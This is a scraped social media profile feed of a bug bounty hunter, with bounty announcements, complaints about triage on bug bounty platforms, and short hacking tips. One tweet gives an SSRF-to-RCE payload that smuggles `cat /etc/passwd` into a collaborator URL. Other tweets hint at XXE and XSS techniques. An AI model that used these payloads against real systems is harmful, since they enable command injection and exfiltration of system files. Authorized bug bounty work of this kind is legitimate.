Top 200 P1 Warrior | Bug Hunter | OSCP+ | CRTP | eWPTX v3 |
127.0.0.1
Joined December 2020
- Tweets1.9K
- Following498
- Followers3.3K
- Likes8.7K
Pinned Tweet
I earned $2,500 for my submission on @bugcrowd 💝
Tip : "GET request for XML not found" changes the request to POST with XXE payload.
bugcrowd.com/realvivek #ItTakesACrowd #bugcrowd
That 6-submissions-per-week cap is standing between me and my $200K. HackerOne already solved this perfectly.
1
12
1,289
Are we going to have to re-verify for CVP every time a new model comes out? 😑 @AnthropicAI
1
245
I intentionally reported a duplicate, and the triager opened it within a day. Meanwhile, non-dup bugs have been pending for weeks some marked as blockers, some still New. What's going on?
3
3
900
Yay, Me & @errorsec_ were awarded a $20,000 bounty on @Hacker0x01! hackerone.com/realvivek #TogetherWeHitHarder
I earned $9,000 for my submission on @Bugcrowd
collab with @RootxRavi 💪🏽 on a report.
Play with response try adding “/api/users/” , “/app/admin”
bugcrowd.com/realvivek #ItTakesACrowd
Once again RCE via SSRF
"collaborator. com/`cat /etc/passwd`"
@bugcrowd bugcrowd.com/realvivek #ItTakesACrowd
Vivek Kashyap retweeted
I have been rewarded $200 on @Bugcrowd collaborated with @starkcharry bro 💪🏻
Tip: sub enum > web archive parameters > kxss filter reflecting params > manual xss try and hit
#bugbounty #bugbountytips #bugcrowd
Vivek Kashyap retweeted
@Bugcrowd @Hacker0x01
Why not hire people like who have seen the struggle of real hunting? Why not hire people who are working day/night for years, These people are Gems, They know what are the real problems and how to overcome them.
Hire bug hunters instead of Pentesters,
Hire talent instead of certs,
Hire those who would love to build the platform.
90% reports goes to N/A because Triagers (Pentesters) couldn't understand it.
5% goes to invalid priorities.
4% goes to no response.
1% goes to accepted because ur lucky that time.
There were times when triagers (Bug hunters) help hunters to exploit their submissions to escalate the priority (Bug hunters).
vs
We don't have time to check your report, Kindly create a video because it takes time to create a new user (Pentesters).
Vivek Kashyap retweeted
Congratulations to @starkcharry for clearing our Certified Red Team Professional exam!
#ADLab #CRTP #AlteredSecurity cc @nikhil_mitt
teapawt.org/AlteredSecurity/status…
alteredsecurity.com/adlab
Guys share all Black Friday discounts in cybersecurity content!
#BugBounty #cybersecurity #BlackFriday
1
11
1,955
